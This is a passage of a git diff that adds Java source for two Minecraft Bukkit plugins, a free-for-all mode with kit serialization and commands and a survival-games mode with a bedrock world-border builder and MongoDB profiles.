the value in each entry. + * @param map - map of comparable values. + * @return A new list with the sort result. + */ + public static > List> sortedValues(Map map) { + return sortedValues(map, Ordering.natural()); + } + + /** + * Sort the given map by the value in each entry. + * @param map - map of comparable values. + * @param valueComparator - object for comparing each values. + * @return A new list with the sort result. + */ + public static List> sortedValues(Map map, Comparator valueComparator) { + return Ordering.from(valueComparator).onResultOf(MapSorting.extractValue()).sortedCopy(map.entrySet()); + } + + /** + * Retrieve every key in the entry list in order. + * @param entryList - the entry list. + * @return Every key in order. + */ + public static Iterable keys(List> entryList) { + return Iterables.transform(entryList, MapSorting.extractKey()); + } + + /** + * Retrieve every value in the entry list in order. + * @param entryList - the entry list. + * @return Every value in order. + */ + public static Iterable values(List> entryList) { + return Iterables.transform(entryList, MapSorting.extractValue()); + } + + @SuppressWarnings("unchecked") + private static Function, T> extractKey() { + return EXTRACT_KEY; + } + + @SuppressWarnings("unchecked") + private static Function, V> extractValue() { + return EXTRACT_VALUE; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/SerializationUtils.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/SerializationUtils.java new file mode 100644 index 0000000..247588c --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/SerializationUtils.java @@ -0,0 +1,209 @@ +package me.javaee.ffa.utils; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.PlayerInventory; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +public class SerializationUtils { + public static String itemStackToString(ItemStack item) { + StringBuilder builder = new StringBuilder(); + if (item != null) { + String isType = String.valueOf(item.getType().getId()); + builder.append("t@").append(isType); + + if (item.getDurability() != 0) { + String isDurability = String.valueOf(item.getDurability()); + builder.append(":d@").append(isDurability); + } + + if (item.getAmount() != 1) { + String isAmount = String.valueOf(item.getAmount()); + builder.append(":a@").append(isAmount); + } + + Map isEnch = (Map) item.getEnchantments(); + if (isEnch.size() > 0) { + for (Map.Entry ench : isEnch.entrySet()) { + builder.append(":e@").append(ench.getKey().getId()).append("@").append(ench.getValue()); + } + } + + if (item.hasItemMeta()) { + ItemMeta imeta = item.getItemMeta(); + if (imeta.hasDisplayName()) { + builder.append(":dn@").append(imeta.getDisplayName()); + } + if (imeta.hasLore()) { + builder.append(":l@").append(imeta.getLore()); + } + } + } + + return builder.toString(); + } + + public static ItemStack itemStackFromString(String in) { + ItemStack item = null; + ItemMeta meta = null; + String[] split; + + if (in.equals("null")) { + return new ItemStack(Material.AIR); + } + + String[] data = split = in.split(":"); + for (String itemInfo : split) { + String[] itemAttribute = itemInfo.split("@"); + String s2 = itemAttribute[0]; + switch (s2) { + case "t": { + item = new ItemStack(Material.getMaterial((int) Integer.valueOf(itemAttribute[1]))); + meta = item.getItemMeta(); + break; + } + case "d": { + if (item != null) { + item.setDurability((short) Short.valueOf(itemAttribute[1])); + break; + } + break; + } + case "a": { + if (item != null) { + item.setAmount((int) Integer.valueOf(itemAttribute[1])); + break; + } + break; + } + case "e": { + if (item != null) { + item.addEnchantment(Enchantment.getById((int) Integer.valueOf(itemAttribute[1])), + (int) Integer.valueOf(itemAttribute[2])); + break; + } + break; + } + case "dn": { + if (meta != null) { + meta.setDisplayName(itemAttribute[1]); + break; + } + break; + } + case "l": { + itemAttribute[1] = itemAttribute[1].replace("[", ""); + itemAttribute[1] = itemAttribute[1].replace("]", ""); + List lore = Arrays.asList(itemAttribute[1].split(",")); + for (int x = 0; x < lore.size(); ++x) { + String s = lore.get(x); + if (s != null) { + if (s.toCharArray().length != 0) { + if (s.charAt(0) == ' ') { + s = s.replaceFirst(" ", ""); + } + lore.set(x, s); + } + } + } + if (meta != null) { + meta.setLore(lore); + break; + } + break; + } + } + } + if (meta != null && (meta.hasDisplayName() || meta.hasLore())) { + item.setItemMeta(meta); + } + return item; + } + + public static String playerInventoryToString(PlayerInventory inv) { + StringBuilder builder = new StringBuilder(); + ItemStack[] armor = inv.getArmorContents(); + + for (int i = 0; i < armor.length; i++) { + if (i == 3) { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))); + } else { + builder.append(itemStackToString(armor[3])); + } + } else { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))).append(";"); + } else { + builder.append(itemStackToString(armor[i])).append(";"); + } + } + } + + builder.append("|"); + + for (int i = 0; i < inv.getContents().length; ++i) { + builder.append(i).append("#").append(itemStackToString(inv.getContents()[i])) + .append((i == inv.getContents().length - 1) ? "" : ";"); + } + + return builder.toString(); + } + + public static void playerInventoryFromString(String in, Player player) { + if (in == null || in.equals("unset") || in.equals("null") || in.equals("'null'")) return; + + String[] data = in.split("\\|"); + ItemStack[] armor = new ItemStack[data[0].split(";").length]; + + + for (int i = 0; i < data[0].split(";").length; ++i) { + armor[i] = itemStackFromString(data[0].split(";")[i]); + } + + player.getInventory().setArmorContents(armor); + ItemStack[] contents = new ItemStack[data[1].split(";").length]; + for (String s : data[1].split(";")) { + int slot = Integer.parseInt(s.split("#")[0]); + if (s.split("#").length == 1) { + contents[slot] = null; + } else { + contents[slot] = itemStackFromString(s.split("#")[1]); + } + } + + player.getInventory().setContents(contents); + } + + public static void setKitToPlayer(Player player) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getKit() == null || profile.getKit().equalsIgnoreCase("")) { + player.getInventory().setHelmet(new ItemBuilder(Material.DIAMOND_HELMET).addEnchantment(Enchantment.PROTECTION_ENVIRONMENTAL, 1).create()); + player.getInventory().setChestplate(new ItemBuilder(Material.DIAMOND_CHESTPLATE).addEnchantment(Enchantment.PROTECTION_ENVIRONMENTAL, 1).create()); + player.getInventory().setLeggings(new ItemBuilder(Material.DIAMOND_LEGGINGS).addEnchantment(Enchantment.PROTECTION_ENVIRONMENTAL, 1).create()); + player.getInventory().setBoots(new ItemBuilder(Material.DIAMOND_BOOTS).addEnchantment(Enchantment.PROTECTION_ENVIRONMENTAL, 1).create()); + + player.getInventory().addItem(new ItemBuilder(Material.DIAMOND_SWORD).addEnchantment(Enchantment.DAMAGE_ALL, 2).create()); + player.getInventory().addItem(new ItemBuilder(Material.FISHING_ROD).create()); + player.getInventory().addItem(new ItemBuilder(Material.FLINT_AND_STEEL).setDurability((short) 60).create()); + player.getInventory().addItem(new ItemBuilder(Material.QUARTZ_BLOCK, 64).create()); + player.getInventory().addItem(new ItemBuilder(Material.WATER_BUCKET).create()); + player.getInventory().addItem(new ItemBuilder(Material.GOLDEN_APPLE, 2).setDisplayName("&6&lGolden Head").create()); + player.getInventory().addItem(new ItemBuilder(Material.GOLDEN_APPLE, 6).create()); + player.getInventory().addItem(new ItemBuilder(Material.WATER_BUCKET).create()); + player.getInventory().addItem(new ItemBuilder(Material.BOW).addEnchantment(Enchantment.ARROW_DAMAGE, 2).create()); + player.getInventory().addItem(new ItemStack(Material.ARROW, 16)); + } else { + playerInventoryFromString(profile.getKit(), player); + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandArgument.java new file mode 100644 index 0000000..9689966 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandArgument.java @@ -0,0 +1,50 @@ +package me.javaee.ffa.utils.command; + +import lombok.Getter; +import lombok.Setter; +import org.apache.commons.lang.ArrayUtils; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.command.PluginCommand; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +@Getter +public abstract class CommandArgument { + + private String name; + private String description; + + @Setter private boolean requiresPermission; + + private String[] aliases; + + public CommandArgument(String name) { + this(name, null); + } + + public CommandArgument(String name, String description) { + this(name, description, ArrayUtils.EMPTY_STRING_ARRAY); + } + + public CommandArgument(String name, String description, String... aliases) { + this.name = name; + this.description = description; + + this.aliases = Arrays.copyOf(aliases, aliases.length); + } + + public String getPermission(PluginCommand command) { + return requiresPermission ? (command.getPermission() == null ? command.getPlugin().getName() + ".command." + command.getName() + ".argument." + name : command.getPermission() + ".argument." + name) : null; + } + + public abstract String getUsage(String label); + + public abstract boolean onCommand(CommandSender sender , Command command, String label, String[] args); + + public List onTabComplete(CommandSender sender, Command command, String label, String[] args) { + return Collections.emptyList(); + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandRegistrer.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandRegistrer.java new file mode 100644 index 0000000..3da6cba --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/CommandRegistrer.java @@ -0,0 +1,87 @@ +package me.javaee.ffa.utils.command; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.commands.*; +import me.javaee.ffa.information.commands.InformationCommand; +import me.javaee.ffa.information.commands.argments.SetKothAreaArgument; +import me.javaee.ffa.staff.commands.StaffCommand; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.CommandMap; +import org.bukkit.command.PluginCommand; +import org.bukkit.plugin.Plugin; +import org.bukkit.plugin.SimplePluginManager; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Arrays; + +public class CommandRegistrer { + private CommandMap commandMap; + + public CommandRegistrer() { + registerCommand(new InformationCommand(), FFA.getPlugin(), true); + registerCommand(new ResetKitCommand(), FFA.getPlugin(), false); + registerCommand(new SaveKitCommand(), FFA.getPlugin(), false); + registerCommand(new SpawnCommand(), FFA.getPlugin(), false); + registerCommand(new StaffCommand(), FFA.getPlugin(), true); + registerCommand(new StatisticsCommand(), FFA.getPlugin(), false); + registerCommand(new FreezeCommand(), FFA.getPlugin(), true); + } + + public CommandMap getCommandMap() { + if (commandMap != null) { + return commandMap; + } + + try { + Field field = SimplePluginManager.class.getDeclaredField("commandMap"); + field.setAccessible(true); + + commandMap = (CommandMap) field.get(Bukkit.getPluginManager()); + } catch (Exception exception) { + exception.printStackTrace(); + } + + return commandMap; + } + + public PluginCommand getCommand(String name, Plugin owner) { + PluginCommand command = null; + + try { + Constructor constructor = PluginCommand.class.getDeclaredConstructor(String.class, Plugin.class); + constructor.setAccessible(true); + + command = constructor.newInstance(name, owner); + } catch (Exception exception) { + exception.printStackTrace(); + } + + return command; + } + + public void registerCommand(ExecutableCommand executableCommand, Plugin owner, boolean requiresPermission) { + PluginCommand command = getCommand(executableCommand.getName(), owner); + + command.setPermissionMessage(ChatColor.RED + "You do not have permission to execute this command."); + + if (requiresPermission) { + command.setPermission((owner.getName() + ".command." + executableCommand.getName()).toLowerCase()); + } + + if (executableCommand.getDescription() != null) { + command.setDescription(executableCommand.getDescription()); + } + + command.setAliases(Arrays.asList(executableCommand.getAliases())); + + command.setExecutor(executableCommand); + command.setTabCompleter(executableCommand); + + if (!getCommandMap().register(executableCommand.getName(), command)) { + command.unregister(getCommandMap()); + getCommandMap().register(executableCommand.getName(), command); + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/command/ExecutableCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/ExecutableCommand.java new file mode 100644 index 0000000..ddf0994 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/command/ExecutableCommand.java @@ -0,0 +1,133 @@ +package me.javaee.ffa.utils.command; + +import com.google.common.collect.ImmutableList; +import lombok.Getter; +import me.javaee.ffa.utils.BukkitUtils; +import net.md_5.bungee.api.chat.ComponentBuilder; +import net.md_5.bungee.api.chat.HoverEvent; +import net.md_5.bungee.api.chat.TextComponent; +import org.apache.commons.lang.ArrayUtils; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.*; +import org.bukkit.entity.Player; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +@Getter +public abstract class ExecutableCommand implements CommandExecutor, TabCompleter { + + private final String name; + + private String description; + + private String[] aliases; + + private final List arguments = new ArrayList<>(); + + public ExecutableCommand(String name) { + this(name, null); + } + + public ExecutableCommand(String name, String description) { + this(name, description, ArrayUtils.EMPTY_STRING_ARRAY); + } + + public ExecutableCommand(String name, String description, String... aliases) { + this.name = name; + this.description = description; + + this.aliases = Arrays.copyOf(aliases, aliases.length); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (args.length == 0) { + sender.sendMessage(ChatColor.RED + "Available sub-command(s) for '" + label + "' are " + ChatColor.GRAY + + arguments.stream().filter(argument -> { + String permission = argument.getPermission((PluginCommand) command); + + return permission == null || sender.hasPermission(permission); + } + ).map(CommandArgument::getName).collect(Collectors.joining(ChatColor.GRAY + ", ")) + ChatColor.RED + "."); + sender.sendMessage(ChatColor.RED + "You must specify a sub-command."); + return true; + } + + CommandArgument argument = getArgument(args[0]); + String permission = argument == null ? null : argument.getPermission((PluginCommand) command); + if (argument == null || permission != null && !sender.hasPermission(permission)) { + sender.sendMessage(ChatColor.RED + WordUtils.capitalizeFully(name) + " sub-command '" + args[0] + "' not found."); + } else { + argument.onCommand(sender, command, label, args); + } + + return true; + } + + @Override + public List onTabComplete(CommandSender sender, Command command, String label, String[] args) { + List results = new ArrayList<>(); + if (args.length < 2) { + for (CommandArgument argument : arguments) { + String permission = argument.getPermission((PluginCommand) command); + if (permission == null || sender.hasPermission(permission)) { + results.add(argument.getName()); + } + } + + if (results.isEmpty()) { + return null; + } + } else { + CommandArgument argument = getArgument(args[0]); + if (argument == null) { + return results; + } + + String permission = argument.getPermission((PluginCommand) command); + if (permission == null || sender.hasPermission(permission)) { + results = argument.onTabComplete(sender, command, label, args); + + if (results == null) { + return null; + } + } + } + + return BukkitUtils.getCompletions(args, results); + } + + public List getArguments() { + return ImmutableList.copyOf(arguments); + } + + public void addArgument(CommandArgument argument) { + arguments.add(argument); + } + + public void removeArgument(CommandArgument argument) { + arguments.remove(argument); + } + + public CommandArgument getArgument(String name) { + return arguments.stream().filter(argument -> argument.getName().equalsIgnoreCase(name) || Arrays.asList(argument.getAliases()).contains(name.toLowerCase())).findFirst().orElse(null); + } + + public void sendUsage(CommandSender sender, String usage) { + ComponentBuilder builder = new ComponentBuilder("Usage: /" + usage); + builder.color(net.md_5.bungee.api.ChatColor.RED); + if (description != null && !description.isEmpty()) { + builder.event(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder(description).color(net.md_5.bungee.api.ChatColor.YELLOW).create())); + } + + if (sender instanceof Player) { + ((Player) sender).spigot().sendMessage(builder.create()); + } else { + sender.sendMessage(TextComponent.toPlainText(builder.create())); + } + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/wand/Wand.java b/FreeForAll/src/main/java/me/javaee/ffa/wand/Wand.java new file mode 100644 index 0000000..f67e0f6 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/wand/Wand.java @@ -0,0 +1,24 @@ +package me.javaee.ffa.wand; + +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.utils.ItemBuilder; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; + +@Getter @Setter +public class Wand { + private Location firstLocation; + private Location secondLocation; + + public Wand(Player player) { + if (FFA.getPlugin().getWandManager().getWand(player) != null) { + player.getInventory().addItem(new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create()); + } else { + player.getInventory().addItem(new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create()); + FFA.getPlugin().getWandManager().getWands().put(player, this); + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/wand/WandManager.java b/FreeForAll/src/main/java/me/javaee/ffa/wand/WandManager.java new file mode 100644 index 0000000..7e82c9e --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/wand/WandManager.java @@ -0,0 +1,81 @@ +package me.javaee.ffa.wand; + +import lombok.Getter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.protocol.ClaimPillar; +import me.javaee.ffa.utils.ItemBuilder; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.player.PlayerCommandPreprocessEvent; +import org.bukkit.event.player.PlayerInteractEvent; +import org.bukkit.inventory.ItemStack; + +import java.util.HashMap; +import java.util.Map; + +public class WandManager implements Listener { + @Getter private Map wands = new HashMap<>(); + private ItemStack wand = new ItemBuilder(Material.GOLD_HOE).setDisplayName("&6Area wand").create(); + + public WandManager() { + Bukkit.getPluginManager().registerEvents(this, FFA.getPlugin()); + } + + public Wand getWand(Player player) { + return wands.get(player); + } + + @EventHandler + public void onClick(PlayerInteractEvent event) { + Player player = event.getPlayer(); + Action action = event.getAction(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (getWand(player) != null && event.getPlayer().getItemInHand() != null && event.getPlayer().getItemInHand().isSimilar(wand)) { + if (action == Action.LEFT_CLICK_BLOCK) { + getWand(player).setFirstLocation(event.getClickedBlock().getLocation()); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have selected '&7" + getWand(player).getFirstLocation().getBlockX() + ", " + getWand(player).getFirstLocation().getBlockY() + ", " + getWand(player).getFirstLocation().getBlockZ() + "&e' as your first location.")); + + if (profile.getFirstPillar() != null) { + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + } + + ClaimPillar pillar = new ClaimPillar(player, Material.ENDER_STONE, (byte) 0, event.getClickedBlock().getLocation()); + pillar.sendPillar(); + profile.setFirstPillar(pillar); + + event.setCancelled(true); + } else if (action == Action.RIGHT_CLICK_BLOCK) { + getWand(player).setSecondLocation(event.getClickedBlock().getLocation()); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have selected '&7" + getWand(player).getSecondLocation().getBlockX() + ", " + getWand(player).getSecondLocation().getBlockY() + ", " + getWand(player).getSecondLocation().getBlockZ() + "&e' as your second location.")); + + if (profile.getSecondPillar() != null) { + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + } + + ClaimPillar pillar = new ClaimPillar(player, Material.ENDER_STONE, (byte) 0, event.getClickedBlock().getLocation()); + pillar.sendPillar(); + profile.setSecondPillar(pillar); + + event.setCancelled(true); + } + } + } + + @EventHandler + public void onCommand(PlayerCommandPreprocessEvent event) { + if (event.getMessage().equalsIgnoreCase("/wand")) { + new Wand(event.getPlayer()); + event.getPlayer().sendMessage(ChatColor.YELLOW + "You have been given a wand."); + event.setCancelled(true); + } + } +} diff --git a/FreeForAll/src/main/resources/plugin.yml b/FreeForAll/src/main/resources/plugin.yml new file mode 100644 index 0000000..c28608e --- /dev/null +++ b/FreeForAll/src/main/resources/plugin.yml @@ -0,0 +1,6 @@ +main: me.javaee.ffa.FFA +name: batman +version: 1.0-SNAPSHOT +authors: [JavaEE] +contributors: [Kirchner] +depend: [Nightmare] \ No newline at end of file diff --git a/KohiSG/pom.xml b/KohiSG/pom.xml new file mode 100644 index 0000000..7476c13 --- /dev/null +++ b/KohiSG/pom.xml @@ -0,0 +1,78 @@ + + + 4.0.0 + me.redis.kohi + KohiSG + 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + UTF-8 + + + + org.apache.maven.plugins + maven-shade-plugin + + + package + + shade + + + + + ${artifactId}-${version} + + + org.mongodb:mongo-java-driver + com.google.code.gson:gson + com.fasterxml.jackson.core:jackson-databind + + + + + + + + + sk89q-repo + http://maven.sk89q.com/artifactory/repo/ + + + + + net.techcable.tacospigot + server + 1.8.8-R0.2-SNAPSHOT + + + com.fasterxml.jackson.core + jackson-databind + 2.7.3 + + + org.mongodb + mongo-java-driver + 3.4.0 + + + org.projectlombok + lombok + 1.16.18 + + + com.sk89q.worldedit + worldedit-bukkit + 6.1.1-SNAPSHOT + provided + + + \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/SurvivalGames.java b/KohiSG/src/main/java/me/redis/kohi/SurvivalGames.java new file mode 100644 index 0000000..1f2a9c3 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/SurvivalGames.java @@ -0,0 +1,114 @@ +package me.redis.kohi; + +import com.mongodb.MongoClient; +import com.mongodb.client.MongoCollection; +import com.mongodb.client.MongoDatabase; +import com.sk89q.worldedit.EditSession; +import com.sk89q.worldedit.MaxChangedBlocksException; +import com.sk89q.worldedit.Vector; +import com.sk89q.worldedit.WorldEdit; +import com.sk89q.worldedit.blocks.BaseBlock; +import com.sk89q.worldedit.bukkit.BukkitWorld; +import com.sk89q.worldedit.bukkit.WorldEditPlugin; +import com.sk89q.worldedit.patterns.BlockChance; +import com.sk89q.worldedit.patterns.RandomFillPattern; +import com.sk89q.worldedit.patterns.SingleBlockPattern; +import lombok.Getter; +import lombok.Setter; +import me.redis.kohi.border.BorderManager; +import me.redis.kohi.chest.ChestInformation; +import me.redis.kohi.database.information.InformationManager; +import me.redis.kohi.database.profiles.ProfileManager; +import me.redis.kohi.game.GameManager; +import me.redis.kohi.listeners.DeathMessageListener; +import me.redis.kohi.listeners.GameListener; +import me.redis.kohi.listeners.SpectatorListener; +import me.redis.kohi.listeners.WaitingListener; +import me.redis.kohi.scoreboard.Aether; +import me.redis.kohi.scoreboard.sidebars.SurvivalGamesSidebar; +import me.redis.kohi.timer.TimerManager; +import me.redis.kohi.utils.MongoWrapper; +import org.apache.commons.io.FileUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.World; +import org.bukkit.craftbukkit.v1_8_R3.CraftServer; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.plugin.java.JavaPlugin; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +@Getter +public class SurvivalGames extends JavaPlugin { + @Getter + private static SurvivalGames plugin; + + private GameManager gameManager; + private TimerManager timerManager; + private ChestInformation chestInformation; + private ChestInformation feastInformation; + private BorderManager borderManager; + + private MongoClient mongoClient; + private MongoDatabase mongoDatabase; + + private MongoCollection profilesCollection; + private MongoCollection informationCollection; + private ProfileManager profileManager; + private InformationManager informationManager; + + @Setter + private boolean canJoin = false; + + @Override + public void onEnable() { + plugin = this; + + saveDefaultConfig(); + + try { + FileUtils.deleteDirectory(new File("world")); + } catch (IOException exception) { + exception.printStackTrace(); + } + + mongoClient = new MongoClient("127.0.0.1", 27017); + mongoDatabase = mongoClient.getDatabase("SurvivalGames"); + + profilesCollection = mongoDatabase.getCollection("Profiles"); + profileManager = new ProfileManager(); + + informationCollection = mongoDatabase.getCollection("Information"); + informationManager = new InformationManager(); + + gameManager = new GameManager(); + timerManager = new TimerManager(this); + + chestInformation = new ChestInformation(this, "loot.yml"); + chestInformation.load(); + + feastInformation = new ChestInformation(this, "feast.yml"); + feastInformation.load(); + + borderManager = new BorderManager(); + + new Aether(this, new SurvivalGamesSidebar(this)); + registerListeners(new WaitingListener(), new SpectatorListener(), new GameListener(), new DeathMessageListener(this)); + } + + @Override + public void onDisable() { + getInformationManager().getInformation().save(); + getProfileManager().saveProfiles(); + } + + public void registerListeners(Listener... listener) { + Arrays.stream(listener).forEach(event -> Bukkit.getPluginManager().registerEvents(event, this)); + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/border/BorderManager.java b/KohiSG/src/main/java/me/redis/kohi/border/BorderManager.java new file mode 100644 index 0000000..b1e307b --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/border/BorderManager.java @@ -0,0 +1,231 @@ +package me.redis.kohi.border; + +import lombok.Getter; +import lombok.Setter; +import me.redis.kohi.SurvivalGames; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.HashSet; +import java.util.Set; + +public class BorderManager { + public static int EXTRA_BEDROCK_BORDER_HEIGHT = 5; + @Getter @Setter private int radius; + @Getter @Setter private int seconds = 60; + @Getter @Setter private boolean started = false; + + private static Set passThroughMaterials = new HashSet<>(); + + public BorderManager() { + passThroughMaterials.add(Material.LOG); + passThroughMaterials.add(Material.LEAVES); + passThroughMaterials.add(Material.LEAVES_2); + passThroughMaterials.add(Material.LOG_2); + passThroughMaterials.add(Material.GRASS); + passThroughMaterials.add(Material.LONG_GRASS); + passThroughMaterials.add(Material.WATER); + passThroughMaterials.add(Material.STATIONARY_WATER); + passThroughMaterials.add(Material.AIR); + } + + public void setCurrentRadius(int radius) { + SurvivalGames.getPlugin().getServer().dispatchCommand(SurvivalGames.getPlugin().getServer().getConsoleSender(), "wb world setcorners -" + radius + " -" + radius + " " + radius + " " + radius); + + Bukkit.broadcastMessage(ChatColor.GOLD + "The world border radius is now " + radius); + addBedrockBorder(radius, EXTRA_BEDROCK_BORDER_HEIGHT); + setRadius(radius); + } + + private static void figureOutBlockToMakeBedrock(int x, int z) { + Block block = SurvivalGames.getPlugin().getServer().getWorld("world").getHighestBlockAt(x, z); + Block below = block.getRelative(BlockFace.DOWN); + + while (passThroughMaterials.contains(below.getType()) && below.getY() > 1) { + below = below.getRelative(BlockFace.DOWN); + } + + below.getRelative(BlockFace.UP).setType(Material.BEDROCK); + } + + private static void figureOutBlockToMakeIron(int x, int z) { + Block block = SurvivalGames.getPlugin().getServer().getWorld("world").getHighestBlockAt(x, z); + Block below = block.getRelative(BlockFace.DOWN); + + while (passThroughMaterials.contains(below.getType()) && below.getY() > 1) { + below = below.getRelative(BlockFace.DOWN); + } + + below.getRelative(BlockFace.UP).setType(Material.IRON_FENCE); + } + + public static void addBedrockBorder(final int radius) { + new BukkitRunnable() { + private int counter = -radius - 1; + private boolean phase1 = false; + private boolean phase2 = false; + private boolean phase3 = false; + + @Override + public void run() { + if (!phase1) { + int maxCounter = counter + 500; + int x = -radius - 1; + for (int z = counter; z <= radius && counter <= maxCounter; z++, counter++) { + figureOutBlockToMakeBedrock(x, z); + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase1 = true; + } + + return; + } + + if (!phase2) { + int maxCounter = counter + 500; + int x = radius; + for (int z = counter; z <= radius && counter <= maxCounter; z++, counter++) { + figureOutBlockToMakeBedrock(x, z); + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase2 = true; + } + + return; + } + + if (!phase3) { + int maxCounter = counter + 500; + int z = -radius - 1; + for (int x = counter; x <= radius && counter <= maxCounter; x++, counter++) { + if (x == radius || x == -radius - 1) { + continue; + } + + figureOutBlockToMakeBedrock(x, z); + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase3 = true; + } + + return; + } + + + int maxCounter = counter + 500; + int z = radius; + for (int x = counter; x <= radius && counter <= maxCounter; x++, counter++) { + if (x == radius || x == -radius - 1) { + continue; + } + + figureOutBlockToMakeBedrock(x, z); + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + cancel(); + } + } + }.runTaskTimer(SurvivalGames.getPlugin(), 0, 5); + } + + public static void addIronBorder(final int radius) { + new BukkitRunnable() { + private int counter = -radius - 1; + private boolean phase1 = false; + private boolean phase2 = false; + private boolean phase3 = false; + + @Override + public void run() { + if (!phase1) { + int maxCounter = counter + 500; + int x = -radius - 1; + for (int z = counter; z <= radius && counter <= maxCounter; z++, counter++) { + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase1 = true; + } + + return; + } + + if (!phase2) { + int maxCounter = counter + 500; + int x = radius; + for (int z = counter; z <= radius && counter <= maxCounter; z++, counter++) { + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase2 = true; + } + + return; + } + + if (!phase3) { + int maxCounter = counter + 500; + int z = -radius - 1; + for (int x = counter; x <= radius && counter <= maxCounter; x++, counter++) { + if (x == radius || x == -radius - 1) { + continue; + } + + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + counter = -radius - 1; + phase3 = true; + } + + return; + } + + + int maxCounter = counter + 500; + int z = radius; + for (int x = counter; x <= radius && counter <= maxCounter; x++, counter++) { + if (x == radius || x == -radius - 1) { + continue; + } + + figureOutBlockToMakeIron(x, z); + } + + if (counter >= radius) { + cancel(); + } + } + }.runTaskTimer(SurvivalGames.getPlugin(), 0, 5); + } + + public static void addBedrockBorder(final int radius, int blocksHigh) { + for (int i = 0; i < blocksHigh; i++) { + new BukkitRunnable() { + public void run() { + addBedrockBorder(radius); + } + }.runTaskLater(SurvivalGames.getPlugin(), i); + } + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/chest/ChestInformation.java b/KohiSG/src/main/java/me/redis/kohi/chest/ChestInformation.java new file mode 100644 index 0000000..f9dd1e7 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/chest/ChestInformation.java @@ -0,0 +1,175 @@ +package me.redis.kohi.chest; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.chest.ChestLoot; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.apache.commons.io.IOUtils; +import org.bukkit.Material; +import org.bukkit.configuration.ConfigurationSection; +import org.bukkit.configuration.file.YamlConfiguration; +import org.bukkit.enchantments.Enchantment; + +public class ChestInformation { + private final SurvivalGames plugin; + private final String 